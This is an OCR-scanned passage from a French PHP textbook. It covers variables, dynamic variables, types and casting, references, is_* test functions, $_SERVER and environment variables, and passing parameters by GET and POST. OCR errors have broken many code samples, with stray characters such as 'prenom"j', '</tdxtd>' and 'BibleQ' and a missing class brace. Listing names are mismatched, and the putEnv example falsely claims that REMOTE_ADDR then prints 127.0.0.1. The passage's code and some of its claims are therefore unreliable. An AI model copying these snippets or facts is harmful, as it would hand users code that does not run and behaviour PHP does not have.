Le nom de la variable peut etre defini par tous les caracteres alphanumeriques ainsi que par le 
caractere '_' , mais il ne peut pas commencer par un chiffre. 

$mavariable, $_mavariable, $mavariabiei sont des variables correctes. En revanche, 
$lmaVariable provoquera une erreur de syntaxe. 



AFaites chauffer la colle (attention a la casse. . .) 
Les variables definies dans un programme PHP sont sensibles a la casse. Faites done 
ATTENTION attention, dans vos programmes, a ne pas initialiser $maVariable et appeler 
$mavariable a V utilisation. Ces deux variables sont distinctes. 



Les variables dynamiques 



Les variables dynamiques (aussi appelees variables "variables") sont des variables dont le nom 
depend d'autres variables. Les noms de ces variables sont done construits dynamiquement 
pendant l'execution du code PHP. 

L'exemple ci-dessous est bien plus parlant qu'un long discours : 

<?php 

$var = "Je developpe en PHP."; 

$dyn = "var"; 

echo $$dyn; // Affiche "Je developpe en PHP."; 

?> 

Ainsi, en ecrivant simplement $$dyn on recupere la valeur de la variable dont le nom est 
contenu dans $dyn, e'est-a-dire $var. 

Le recours aux variables dynamiques n'est generalement pas necessaire, car elles peuvent, bien 
souvent, etre avantageusement remplacees par l'utilisation de tableaux, mais qui sait... il est 
possible que cela vous depanne un jour ! 

II est souvent preferable, et parfois indispensable, de mettre le nom des variables entre 
accolades. Cela vous permettra, par exemple, de creer un nom de variable avec une partie 
variable et une partie fixe, comme e'est le cas dans l'exemple suivant : 

<?php 

$prefixe= "PHP"; 

$suffixe= " e'est sympa"; 
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$dyn = "pre"; 

echo ${$dyn}fixe; 

$dyn = "suff"; 

echo ${$dyn}fixe; 
?> 



// Affichera PHP 

// Affichera c'est sympa 



Le resultat aurait ete evidemment tout autre si nous avions utilise $dynf ixe. Le probleme est 
identique lorsqu'il s'agit de selectionner un element d'un tableau; $$dyn[0] est ambigu, 
contrairement a $ { $dyn [ ] } et $ { $dyn} [ ] . 
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Comme nous avons pu le constater, les variables PHP n'ont pas un type predefini. Pourtant, un 
developpeur peut etre amene a manipuler les types pour le besoin d'une application et les 
problemes de conversion peuvent non pas causer des erreurs, mais retourner des resultats 
surprenants et genants. Pour eviter cela, le langage PHP possede un jeu de fonctions qui lui 
permet de fixer et de recuperer le type d'une variable donnee. 

On peut classer les differents types possibles en trois categories : les types scalaires, les types 
composes et les types speciaux. 



Tableau 3.3 : Definitions des quatre types scalaires 



Type 


Description 


Exemple 




int (OU integer) 


Le type int est utilise pour contenir 
des entiers (nombres sans virgule). 
Les valeurs peuvent aller de 
-2147483648 a 2147483647. 


$maVariable = 
$maVariable = 
$maVariable = 


2; 

-4; 
2 02; 


double (OU real 
OU float) 


Le type double sert a definir des 
nombres decimaux, c'est-a-dire 
comportant une virgule flottante. 


$maVariable = 
$maVariable = 
$maVariable = 
3.1415972; 


1.0; 
-0.1 


string 


Le type string definit une chaine 
de caracteres. 


$maVariable = 
php ! " ; 
$maVariable = 


"Vive le 
" 1 " ; 


boolean (OU 
bool) 


Le type booleen definit une variable 
prenant des valeurs de type binaire : 
true (Vrai) ou false (Faux). 


$maVariable = 
$maVariable = 


TRUE ; 
FALSE; 



REMARQUE 



Notation dans les differentes bases 

Le type entier peut prendre des valeurs exprimees en decimates (en base 10), 
hexadecimales (en base 16) et octales (en base 8). Pour indiquer le changement de 
base, le programmeur placera un devant V affectation. 



<?php 
$dec = 



16; 



// Affectation classique en base 10 
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$hex = 0x10; // Le Ox indique 1 'affectation en hexadecimal 
REMARQUE $ oc t = 020; // Le simple devant indique 1 'affectation en Octal 
?> 



$dec, $hex et $oct possedent la meme valeur mais exprimee dans une base 

differente. 

II est a noter qu 'il n 'est pas possible d 'exprimer un nombre directement dans sa forme 

binaire. 



Tableau 3.4 : Les deux types composes 



Type 



Description 



Exemple 



array Designe Un type tableau (ensemble de $monTableau = array (2 

valeurs). "Super, du PHP !", 

Voir la sectionTab/eaux. "cie"=>"vaieur" ) ,• 

$monTableau[2] = "Top" 



object 



Designe un type objet (variable 
possedant ses propres proprietes, 
attributs et methodes). 



class MaClasse 
{ 

} 





Voir la section Classes. $monob j et = new 

MaClasse () 


Tableau 3.5 : 


Les deux types speciaux supported 


Type 


Description 


resource 


Represente une reference (ex. : identifiant de connexion a une base de donnees 
ou toute autre source). 


NULL 


La variable de type null represente une variable ne possedant pas de valeur. 




Rencontre avec le 9 e type 

Dans les descriptions des fonctions, nous utiliserons egalement, en lieu et place de 
certains types, d'autres termes qui ne correspondent pas veritablement a des types. 
Ainsi : 

mixed designera les parametres (ou valeurs retour) pouvant etre de differents types. 

function designera des noms de fonctions (en fait, des types stringmais avec une 
signification particuliere). 

numeric designera des parametres (ou valeurs retour) de type int ou double. 

void designera les fonctions sans parametre ou sans valeur retour. 
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Bien que le type des variables soit defini a leur initialisation, il est quand meme possible de 
forcer une variable dans un type donne. Pour cela, nous utilisons la fonction setType ( ) . 



setType () 

Affecte un type a une variable. 

Syntaxe boolean setType (mixed $variable, string $type) 

$vari abl e Variable dont on veut fixer le type. 

$type Chaine de caracteres precisant le type que Ton veut affecter a la variable. 

Ce peut etre au choix : 
integer pour un type entier. 
double pour un type reel. 
string pour une chaine de caracteres. 
array pour un tableau. 

retour TRUE en cas de succes ou FALSE (ex. : nom de type invalide). 

Pour recuperer le type vous utiliserez la fonction gettype ( ) . 



gettypeO 



Retourne le type de la variable. 

Syntaxe string getType (mixed $variable) 

$vari abl e Variable dont on veut determiner le type. 

retour Les differentes valeurs retournees possibles sont : 

integer pour un type entier. 
double pour un type reel. 
string pour une chaine de caracteres. 
array pour un tableau, 
ob j ect pour un objet. 

resource pour une ressource (un pointeur sur ...). 
user function pour une fonction creee par l'utilisateur. 
unknown type pour un type indetermine. 

Le code ci-dessous est un bon exemple de cette utilisation : 

<?php 

setType($toto, "integer"); 

// La variable est du type entier 

echo getType ($toto) ; 
// Renvoi e "integer" 
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$i = 2+2; 

echo getType ($i); 

// Renvoi e "integer" 

$i = "J'aime le chiffre ".$i; // Concatenation d'une chaTne avec un entier 
echo getType ($i); 
// Renvoie "string" 
?> 



Le transtypage 

Pour remedier aux problemes que vous pouvez rencontrer dans vos manipulations de 
conversion, le developpeur a la possibilite d'utiliser le transtypage (ou type casting). Sous ce 
terme un peu barbare, se cache la possibilite de creer une nouvelle variable contenant la valeur 
d'une autre avec un type different mais compatible. Ainsi, le transtypage permet a un 
programmeur de modifier le type de ses variables pendant l'execution de son programme, que 
ce soit pour faire un test d'egalite ou des operations entre deux variables de type different. 

Le transtypage s'utilise, comme pour le langage C, en ecrivant le type entre parentheses devant 
le nom de la variable, comme indique dans l'exemple ci-dessous : 

<?php 

$monEntier = 10; 

// $monEntier est un "integer" 

$maChaine = (string)$monEntier; 

// $maChaine est une chaine de caracteres 

?> 

Les differentes conversions possibles sont done : 

(array) pour convertir en type tableau. 

(boolean) ou (bool) pour convertir en type booleen. 

(double), (float) ou (real) pour convertir en type reel (decimal). 

(int) ou (integer) pour convertir en type entier. 

( obj ect ) pour convertir en type objet. 

(string) pour convertir en type chaine de caracteres. 

Dans l'exemple suivant, nous montrons comment, depuis la conversion en tableau ou en objet, 
un programmeur peut recuperer les donnees : 

<?php 

$maVariable = "Super, encore du PHP !"; 

$tableau = (array)$maVariable; 

echo $tableau[0] ; 

// renvoie "Super, encore du PHP !" 

$objet = (obj ect) $maVari able; 
echo $objet->scalar; 
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// renvoie "Super, encore du PHP !" 
?> 

Notez que la conversion d'une variable de type scalaire (int, double ou string) dans le type 
objet creera un attribut nomme scalar et contenant la valeur de la variable. 

Les references 

PHP permet de creer une reference a une variable existante. De la meme maniere qu'avec le 
langage C, vous pouvez acceder directement a une zone memoire contenant une variable. La 
reference a une variable permet de creer une nouvelle variable qui utilise la meme zone 
memoire que la variable d'origine. 

Q- Pour cela, vous devez l'indiquer a l'aide du caractere '&' devant le nom de la variable, comme le 
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montre l'exemple suivant : 

<?php 

$varl = "Bonjour"; 

$var2 = &$varl; 

// $varl et $var2 sont deux memes noms pour une meme variable 

$var2 = "Au revoir"; 

echo $varl; 

// Affiche Au revoir 

?> 



Tester une variable 

Dans vos manipulations des donnees, vous pouvez etre amene a tester l'existence ou le type des 
variables que vous utilisez. Pour cela, on utilise un jeu de fonctions tres utile. 



isSetQ 



Determine si une variable existe (a ete initialisee). 

Syntaxe boolean isSet (mixed $variable) 

$ v a r i a b 1 e Variable que Ton veut tester. 

retour TRUE si la variable existe bien et FALSE sinon. 



unset () 

Detruit les variables. 
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Syntaxe void unset (mixed $variablel [, mixed $variable2 [, ...]]] 

$variablel, ... Les variables a detruire. 

<?php 

echo isSet($toto) ; // Renvoie FALSE (ce qui n'affiche rien) 

$toto = ""; 

echo isSet($toto) ; // Renvoie TRUE (ce qui affiche 1) 

unset ($toto) ; 

echo isSet($toto) ; // Renvoie FALSE (ce qui n'affiche rien) 



? 



> 




De la meme maniere, la fonction empty ( ) determine si une variable possede une valeur non cj 

nulle ou non. 



emptyO 

Determine si une variable possede une valeur non nulle ou non. 

Syntaxe boolean empty (mixed $variable) 

$vari abl e Variable que l'on veut tester. 

retour TRUE si la variable n'existe pas, est une chaine vide ( ' ' ) ou vaut 0, NULL, 

FALSE sinon. 

<?php 

echo ' <html ><body> ' ; 

// affectation des variables 

$varl = 0; $var2 = 1; $var3 =""; $var4 ="Bonjour !"; 

// empty($varl) renvoie TRUE 

if (empty($varl)) echo '$varl est "vide"<br>'; 

else echo '$varl = ' .$varl. '<br>' ; 

// empty($var2) renvoie FALSE 

if (empty($var2)) echo '$var2 est "vide"<br>'; 

else echo '$var2 = ' .$var2. '<br>' ; 

// empty($var3) renvoie TRUE 

if (empty ($var3)) echo '$var3 est "vide"<br>'; 

else echo '$var3 = ' .$var3. '<br>' ; 

// empty($var4) renvoie FALSE 

if (empty($var4)) echo '$var4 est "vide"<br>'; 

else echo '$var4 = ' .$var4. '<br>' ; 

echo ' </bodyx/html > ' ; 
?> 
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Fichier Edition Afficher Rechercher ANer a Signets 



QLQVQ.Ql 



^j.http:/AwM<.kat 



Svarl est "vide" 
$var2 = 1 
$var3 est "vide" 
Bonjour ! 



Figure 3.3 : 

Le resultat dans un navigateur 
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Pour detruire une variable, utilisez la fonction unset ( ) . 

Afin de tester le type des variables, PHP possede une serie de fonctions tres commodes : 

is_bool(), is_int ( ) , is_double(), is_numeric ( ) , is_string ( ) , is_array(), 
is_scalar ( ) , is_obj ect { ) , is_resource ( ) , is_NULL ( ) . 

Toutes ces fonctions s'utilisent de la meme maniere. Elles renvoient true si le type de la 
variable passee en parametre est exactement le type recherche, et false dans le cas contraire. 



is_bool() 



Determine si une variable est de type booleen. 

Syntaxe boolean is_bool (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type booleen. 

retour TRUE si la variable est de type booleen, FALSE sinon. 

<?php 

$var = 1; 

echo is_bool ($var) ; 

// Ne renvoie rien, le resultat du test est faux 

$var = TRUE; 

echo is_bool ($var) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



is_int() 



Determine si une variable est de type entier. 

Syntaxe boolean is_int (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type entier. 

retour TRUE si la variable est de type entier, FALSE sinon. 
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is_int { ) est en fait un alias de is_iong ( ) dont is_integer ( ) est un autre alias. 

<?php 

$var = "15"; 

echo is_int($var) ; 

// Ne renvoie rien, le resultat du test est faux 

$var = 15; 

echo is_int($var) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



is_double() 



Determine si une variable est de type reel (decimal). 

Syntaxe boolean is_double (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type reel. 

retour TRUE si la variable est de type reel, FALSE sinon. 

is_f loat ( ) et is_real ( ) sont des alias de la fonction is_double ( ) . 

<?php 

$var = 15; 

echo is_double($var) ; 

// Ne renvoie rien, le resultat du test est faux 

$var = 15.0; 

echo is_double($var) ; 

// Renvoie 1, le resultat du test est vrai 

?> 




is_numeric() 



Determine si une variable est un nombre ou une chaine de caracteres representant un nombre. 

Syntaxe boolean isjnumeric (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type nombre ou chaine de 

caracteres representant un nombre. 

retour TRUE si la variable est de type nombre ou chaine de caracteres 

representant un nombre, FALSE sinon. 

<?php 

$varl = "quinze"; 

echo is numeric($varl) ; 
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// Ne renvoie rien, le resultat du test est faux 

$var2 = 15; 

echo is_numeric($var2) ; 

// Renvoie 1, le resultat du test est vrai 

$var3 = "15"; 

echo is_numeric($var3) ; 

// Renvoie 1, le resultat du test est vrai 

$var4 = 15.0; 

echo is_numeric($var4) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



is_string() 

Determine si une variable est de type chaine de caracteres. 

Syntaxe boolean is_string( mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type chaine de caracteres. 

retour TRUE si la variable est de type chaine de caracteres, FALSE sinon. 

<?php 

$var = "15"; 

echo is_string($var) ; 

// Renvoie 1, le resultat du test est vrai 

$var = 15; 

echo is_string($var) ; 

// Ne renvoie rien, le resultat du test est faux 

?> 



is_array() 

Determine si une variable est de type tableau. 

Syntaxe boolean is_array (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type tableau. 

retour TRUE si la variable est de type tableau, FALSE sinon. 

<?php 

$varl = 15; 

echo is_array($varl) ; 

// Ne renvoie rien, le resultat du test est faux 
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$var2 = array(15); 

echo is_array($var2) ; 

// Renvoi e 1, le resultat du test est vrai 

?> 



is_object() 

Determine si une variable est de type objet. 

Syntaxe boolean is_object (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type objet. 

retour TRUE si la variable est de type objet, FALSE sinon. 

<?php 

class Bible { 

var $x; 



$var = new BibleQ ; 

$var->x = "Je suis un attribut"; 

echo is_object($var) ; 

// Renvoie 1, le resultat du test est vrai 

echo is_object($var->x) ; 

// Ne renvoie rien, le resultat du test est faux 

?> 




is_scalar() 



Determine si une variable est de type scalaire. 

Syntaxe boolean is_scalar (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type scalaire. 

retour TRUE si la variable est de type scalaire, FALSE sinon. 

<?php 

$varl[0] = 3.14; 
$var2 = 3.14; 
$var3 = "pi"; 

echo is_scalar($varl) ; 

// Ne renvoie rien, le resultat du test est faux 
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echo is_scalar($varl[0]) ; 

// Renvoi e 1, le resultat du test est vrai 

echo is_scalar ($var2) ; 

// Renvoi e 1, le resultat du test est vrai 

echo is_scalar ($var3) ; 

// Renvoi e 1, le resultat du test est vrai 

?> 



is_resource() 



Determine si une variable est de type resource. 

Syntaxe boolean is_resource (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type resource. 

retour TRUE si la variable est de type resource, FALSE sinon. 



is_NULL() 

Indique si une variable est NULL. 



Syntaxe: boolean is_NULL (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est NULL. 

retour TRUE si la variable est NULL, FALSE sinon. 

<?php 

$var = 0; 

echo is_NULL($var); 

// Ne renvoie rien, le resultat du test est faux 

unset($var) ; 

echo is_NULL($var); 

// Renvoie 1, le resultat du test est vrai 

?> 



Les variables externes 

Nous pouvons differencier deux types de variables externes : 

■ Les variables d'environnement (du serveur) ; 

Les variables passees en parametre lors de l'appel de la page (soit via un formulaire soit via 
l'URL). 
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Les variables d'environnement 

Les variables d'environnement sont des variables generees automatiquement par PHP a partir 
des donnees recuperees sur le serveur ou de l'en-tete des requetes du client. 



> Voir le chapitre "Les en-tetes" pour plus de details sur les en-tetes. 

RENVOI 

Ces variables constituent en fait deux tableaux de portee globale (accessibles depuis n'importe 
quel endroit du script) : 

$_env contient les "veritables" variables d'environnement du serveur, c'est-a-dire toutes les 
variables dont a pu heriter le compte sous lequel tourne le serveur web (ex. : PATH). 

$_server contient, quant a lui, les variables "internes" du serveur (nom et version du 
serveur, adresse IP, etc.) ainsi que celles recuperees du client (adresse IP du client, type du 
navigateur, etc.). 

Vous pouvez simplement visualiser toutes les variables d'environnement sur la page generee 
par la fonction phpinf o ( ) . 

Une autre possibilite pour recuperer la liste des variables est d'utiliser la fonction 
get_def ined_vars ( ) ; elle permet de recuperer dans un tableau la liste de toutes les variables 
definies. Le tableau retourne contient alors toutes les variables d'environnement, mais aussi 
toutes les variables definies par l'utilisateur. 



get_defined_vars() 

Liste toutes les variables definies. 



Syntaxe array get_defined_vars(void) 

re tour Toutes les variables dans un tableau associatif ou les noms des cles sont les 

noms des variables et les valeurs celles des variables. 

L'exemple ci-dessous permet de generer un tableau HTML contenant la liste des variables et 
leurs valeurs au moment de l'execution du code : 

<html> 

<body> 

<?php 

$al = "premiere variable"; 

$a2 = "seconde variable"; 

echo "<table border=l>"; 
$a = get_defined_vars() ; 
while (list($key, $val) = each($a)) { 
echo "<tr>"; 
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echo "<td>\$" .$key . "</tdxtd>" .$val . "</td>" ; 
echo "</tr>"; 
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echo "</table>"; 

?> 

</body> 

</html> 
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Figure 3.4 : 

Ce code retourne un 

tableau contenant 

noms des variables et 

valeurs 



Le tableau $_env ne presente generalement pas un grand interet hormis dans quelques cas 
particuliers. 

Vous pouvez aussi recuperer les valeurs a l'aide de la fonction getEnv ( ) . 



getEnvQ 



Retourne la valeur d'une variable d'environnement. 



Syntaxe 

$variable 
Environnement 

retour 



string getEnv (string $variableEnvironnement ) 

Variable d'environnement dont on veut determiner la valeur. 

La valeur de la variable d'environnement ou FALSE si il y a une erreur 
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II est tres simple de modifier les variables d'environnement en utilisant la fonction putEnv ( ) . 
Les valeurs ainsi fixees par le developpeur ne durent que le temps de l'execution du script et, 
des la fin de celui-ci, l'environnement par defaut est restaure. 

Mais, comme la modification de certaines valeurs peut entrainer des problemes de 
securite, 1'administrateur du systeme a la possibility d'empecher certaines modifications. C'est 
d'ailleurs, par defaut, le cas de la variable ld_library_path (d'un systeme UNIX/Linux) qui, 
si elle venait a etre modifiee, pourrait eventuellement permettre aux pirates de masquer la 
presence d'une bibliotheque (peut-etre utilisee par le serveur web) au profit d'une autre plus 
malicieuse. Ainsi, la directive safe_mode_protected_env_vars du fichier de configuration 
php.ini contient une liste de variables d'environnement que le developpeur ne peut modifier. 
De la meme facon, si saf e_mode (mode protege) est active (ce qui n'est pas le cas par defaut), 
seules les variables commengant par les prefixes precises dans saf e_mode_aiiowed_env_vars 
pourront etre modifiees. 



Pour plus d' informations sur le fichier php.ini, reportez-vous au chapitre "Prise en 
main". 




RENVOI 



putEnv () 

Fixe une nouvelle valeur a la variable d'environnement. 

Syntaxe void putEnv (string $chaineAffectation) 

$chai neAf fectati on Chaine de caracteres de la forme "<nom de variable>=<valeur>" 

<?php 

$ip = getEnv("REMOTE_ADDR"); 

// retourne l'adresse IP de 1 'utilisateur 

putEnv("N0UV_IP=127.0.0.1"); 

// Definit une nouvelle variable d'environnement 

echo getEnv("REMOTE_ADDR"); 

// Affiche 127.0.0.1 

?> 

Le tableau $_server, quant a lui, va nous permettre de realiser de nombreuses operations. 



Variantes d'un serveur a I'autre 

Les variables $_server presentees sont celles disponibles sous Apache. La plupart 
sont egalement disponibles sur les serveurs IIS et iPlanet, mais vous observerez tout de 
meme des differences. 



REMARQUE 
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Determiner l'adresse IP du client 

L'element $_server[ " remote_addr " ] retourne l'adresse IP du client, ce qui est 
particulierement utile pour ne pas compter l'utilisateur plusieurs fois dans le nombre des 
visiteurs d'un site. 



^£\ IP mouvante 

"**^ La grande majorite des internautes n 'est pas connectee en permanence a I'internet 

(mime les utilisateurs de I'ADSL sont generalement contraints de se reconnecter au 
moins une fois par jour). Par consequent, l'adresse IP (attribuee par le fournisseur 
d'acces) varie d'un jour sur I'autre. II serait done faux de supposer que deux visites a 
deux jours d'intervalle avec la meme adresse IP corresponde au meme visiteur. Alors 
que si I'intervalle de temps entre les deux visites est bienplus court, I'hypothese est fort 
valable. 



Determiner d'ou vient le client 

II est generalement possible de savoir quel lien a suivi le visiteur pour arriver sur le script en 
cours d'execution. Pour cela, il suffit de lire le contenu de $_server [ "http_referer" ] ; ceci 
retourne alors une URL. 

Determiner le type de navigateur du client 

L'element $_server[ "http_user_agent"] permet de recuperer la chaine d'identification 
fournie par le navigateur du client. Cela est particulierement utile si vous avez a ecrire des 
scripts generant du code Javascript un peu pointu, car, comme vous le savez peut-etre, le 
Javascript depend fortement du navigateur. II en est de meme de certaines balises HTML. 

La valeur ainsi recuperee necessite toutefois une petite analyse avant de determiner avec 
precision la nature du navigateur, comme le demontre l'echantillon de valeurs possibles 
suivant : 

pour Internet Explorer : 

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) 
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) 
Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) 

Konqueror : 

Mozilla/5.0 (compatibles; Konqueror/2.2.1; Linux) 

■ Netscape : 

Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 

£< Netscape6/6.1 

Mozilla/5.0 (Xll; U; Linux i 686 ; en-US; rv:0.9.8) Gecko/20020204 

Opera : 

Mozilla/4.7 [tr] (Xll; I; Linux 2.2.16 i686) 
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Mozilla/4.0 (compatible; MSIE 5.0; Linux) Opera 6.0 [en] 

Et tout cela se decline pour ainsi dire a l'infini. D'autant que certains visiteurs ne sont pas des 
utilisateurs derriere leur navigateur, mais des aspirateurs de sites (soit pour les moteurs de 
recherche, soit pour un particulier). Meme si cela n'est pas systematique, la plupart precisent 
leur propre identifiant et d'autres offrent meme la possibilite a l'utilisateur de definir sa propre 
chaine d'identification. Voici, done, un nouvel echantillon de valeur rencontree : 

Les aspirateurs de sites et autres "spiders" de moteurs de recherche : 

Googl ebot/2 . 1 (+http : //www. googl ebot . com/bot . html ) 

Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) 

WebCopier v3.0 

<html> 
<body> 

Vous avez l'adresse IP : 

<?php echo $_SERVER["REMOTE_ADDR"]; ?> 
<br /> 

Vous avez un navigateur qui porte la signature : 

<?php echo $_SERVER["HTTP_USER_AGENT"] ; ?> 
<br /> 
</body> 
</html> 

Determiner la langue du visiteur 

Bien que cette fonctionnalite ne soit pas forcement bien connue, les navigateurs offrent la 
possibilite de determiner ses langues preferees. II est alors possible, lorsque Ton gere un site 
multi-langue, de s'adapter automatiquement en proposant la langue qui repondra au mieux aux 
attentes du visiteur. 

Ce parametre est accessible depuis le serveur via la variable $_server[ "http 
_accept_language " ] qui aura une valeur du genre : 

fr, en;q=0.5 

II s'agit done d'une chaine contenant les codes ISO des langues, separes par des virgules et par 
ordre de preference. La liste se termine par un point-virgule (et Ton trouve ensuite un 
coefficient). 

Determiner le nom du serveur web 

II est possible de determiner le nom du serveur en consultant le contenu de 
$_Server [ " server_name " ] , ce qui peut vous permettre de creer un script unique ayant un 
comportement different selon la machine sur lequel il tourne. 

Determiner la racine du serveur web 

Si vous avez a manipuler des noms de fichier, le chemin relatif a la racine du site web ne sera 
peut-etre pas toujours suffisant. Si vous avez besoin du chemin complet depuis la racine du 
disque dur, vous pourrez faire appel a $_server [ " document_root " ] pour recuperer le 
chemin depuis la racine du disque dur vers la racine du serveur web. 
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iPlanet, IIS et PWS 

Cette variable n'estpas disponible sur les serveurs iPlanet, IIS et PWS. 
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Determiner le nom du script en cours d'execution 

La variable $_server [ " php_self " ] contient le chemin absolu (commence par un /) par 
rapport a la racine du site web et le nom du script en cours d'execution. Cela est 
particulierement interessant lorsqu'il s'agit d'ecrire des scripts qui doivent s'appeler 
eux-memes (ce qui est souvent le cas des scripts generant des formulaires) et que Ton ne 
souhaite pas indiquer "en dur" le nom du script (pour ne pas avoir de soucis dans le cas ou 
celui-ci serait renomme). Cela peut egalement servir pour determiner le chemin. 



La variable $_server[ " script_filename"; 
rapport a la racine du disque dur. 



quant a elle, donne le chemin absolu par 



A 



ATTENTION 



Execution ! 

Le script en cours d'execution n 'est pas necessairement le script dans lequel est 
ecrite I'instruction en cours d'execution. Si un script A inclut un script B au niveau 
du script B, $_server[ "php_self" ] et $_server[ "SCRipt_filename" ] 
retourneront le chemin du script A. Pour connaitre le chemin du script B, ilfaudra 

faire appel a la constante file qui donnera le chemin absolu par rapport a la 

racine du disque dur. 



^-g iPlanet, IIS et PWS 

«^ La valeur $_server [ "SCRIPT_filename" ] n'estpas disponible sous iPlanet, IIS 
REMARQ JE et pjj/5 . a [ a pi ace> vous pouvez utiliser $_server [ " path_tran slated " ]. 



Autres... 

Meme si nous avons vu ici les principales variables d'environnement, il en existe de nombreuses 
autres. 



RENVOI 



\ Vous pouvez vous reporter aux annexes de ce livre pour une liste plus complete des 
variables d'environnement. 



REMARQUE 



Souvenez-vous... 

Avant PHP 4.1.0, les tableaux $_server, $_env s'appelaient 

$HTTP_SERVER_VARS, $HTTP_ENV_VARS, etc. 
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Les variables passees en parametre du script (ou via des 
formulaires) 

Comme vous le savez peut-etre deja (en tout cas, vous allez bientot le savoir) il est possible de 
passer des parametres a un script. 

II existe differentes facons de passer ces parametres, mais la plus simple - ou du moins la plus 
parlante - consiste a ajouter les parametres et leurs valeurs a la suite de l'URL apres un point 
d'interrogation '?' chaque couple <nom du parametre>=<valeur> etant separe d'un autre par 
le caractere "et commercial" '&'. On parle alors de passage de parametres par la methode get. 

Ce qui donne une URL du genre : 

http://mondomaine.com/monscript.plip7nom = Fran$ois&prenom=DUPOND 

Dans ce cas, les differents parametres du script seront disponibles dans un tableau appele 

$_GET. 

Ainsi, si vous appelez le script suivant de la maniere indiquee precedemment, 

Listing 3.2 : getecho.php 

<?php 

echo "Norn =".$_GET["nom"] . "<br />"; 

echo "Prenom =". $_GET["prenom"j . "<br />"; 

?> 

vous obtiendrez le resultat suivant : 

Nom = Frangois 
Prenom = DUPOND 

Je pense que vous commencez a entrevoir des possibilites d'applications. Mais vous serez plus 
enthousiasme encore apres avoir vu comment utiliser des formulaires de saisie. 

Rappel sur les formulaires 

Sans faire un descriptif complet des balises HTML, voici un rapide apercu des balises 
generalement utilisees pour creer un formulaire. 

Pour commencer, la definition d'un formulaire se fait entre des balises <form> et </form>. 

La balise <f orm> possede, entre autres, deux attributs importants : 

Un attribut action precisant quel page doit etre chargee lorsque le formulaire sera valide. 

Un attribut method precisant quel mode d'envoi des donnees doit etre utilise. Ce dernier 
peut prendre l'une des deux valeurs suivantes get (que nous venons de voir) ou post (que 
nous n'allons pas tarder a voir). 

La plupart des elements d'un formulaire se construisent avec la balise <input />. 
La balise <input> possede, entre autres, trois attributs importants : 

Un attribut type precisant le type de champ de saisie (voir ci-apres). 
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Un attribut name precisant le nom du parametre associe a ce champ. 

Un attribut default ou checked (selon les cas) precisant la valeur par defaut. 

L'attribut type peut prendre les valeurs : 

■ text pour preciser un champ de saisie texte. 

radio pour preciser un element d'une liste de selection dans laquelle une seule des options 
peut-etre selectionnee. 

checkbox pour preciser une case a cocher. 
Enfin, vous disposez egalement des balises <select> (associee a <option>) et <textarea>. 

Application 

Void done un petit exemple d'application : 

Listing 3.3 : form_get.html 

<html> 

<body> 

<form action="get_echo.php" method="get"> 

Veuillez indiquer vos Noms et Prenoms<br /> 

Prenom: <input type="text" name="prenom" /xbr /> 

Nom: <input type="text" name="nom" /xbr /> 

<input type=" submit" /> 

</form> 

</body> 

</html> 

Comme vous pouvez le constater dans la barre d'adresse de votre navigateur, le simple fait de 
valider ce formulaire appelle le script precise dans le champ action (ici, le script get_echo . php 
presente precedemment) en ajoutant a l'URL la liste des parametres et de leurs valeurs, 
comme cela peut se faire avec une methode get redigee manuellement. 

/£) Selection multiple 

"**^ Si vous souhaitez utiliser un element de formulaire pouvant retourner une selection 

multiple (typiquement une balise <select> en mode "multiselect" ou encore une 
serie de cases a cocher portant toutes le meme nom), vous devez alors lui affecter un 
nom de tableau (i.e. un nom suivi de [ ]). La valeur recuperee dans $_get ne sera 
alors pas de type string mais de type array. 

Le fait d'utiliser la methode get peut entrainer des problemes d'ordres divers. Le probleme le 
plus evident est lie a la longueur de l'URL. Plus il y a de parametres a passer et plus l'URL sera 
longue, ce qui pourrait mettre en defaut votre serveur. Un autre probleme, plus subtil (mais 
non des moindres) concerne la securite. En effet, si vous utilisez une methode get pour passer 
des mots de passe (pour une section membre par exemple), ceux-ci apparaitront dans l'URL de 
la page. Outre le fait que le mot de passe devienne visible dans la barre d'adresse du navigateur 
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et dans l'historique, le probleme s'aggrave quand, depuis cette page, vous proposez un lien vers 
un autre site (site d'une tierce personne). En effet, si ce site etablit des statistiques sur ses 
consultations, peut-etre trace-t-il ['information $_SERVER["HTTP_REFERER"] qui note d'ou vient 
le visiteur. Dans ce cas, l'administrateur de ce site pourra lire l'URL complete, indiquant 
l'adresse de votre site et un mot de passe generalement accompagne d'un nom d'utilisateur ! 
Bref, il aura en main tous les outils necessaires pour acceder a des informations qui ne lui sont 
pas destinees... 

Pour pallier ces differents problemes, vous avez la possibilite d'utiliser la methode post. Dans 
ce cas, les parametres ne sont pas ajoutes a l'URL, mais passes "discretement" dans l'en-tete de 
la requete HTTP envoyee au serveur. 

Dans ce cas, les deux fichiers presented precedemment deviennent : 
Listing 3.4 : form_post.html 

<html> 

<body> 

<form action="get_echo.php" method="post"> 

Veuillez indiquer vos Noms et Prenoms<br /> 

Prenom: <input type="text" name="prenom" /xbr /> 

Nom: <input type="text" name="nom" /xbr /> 

<input type="submit" /> 

</form> 

</body> 

</html> 

Listing 3.5 : postecho.php 

<?php 

echo "Nom =".$_P0ST["nom"] ."<br />"; 

echo "Prenom =". $_POST["prenom"] ."<br />"; 

?> 

Vous noterez done que le travail du developpeur est identique, puisqu'il suffit de remplacer get 
par post. Ainsi, le tableau contenant les donnees s'appelle $_post. 

En dehors de l'utilisation de formulaires, la methode get reste la seule solution facilement 
implementable pour passer des parametres a un script. 



Souvenez-vous... 

Avant PHP 4.1.0, les tableaux $_get, $_post s'appelaient $http_get_vars, 

$HTTP_POST_VAR 

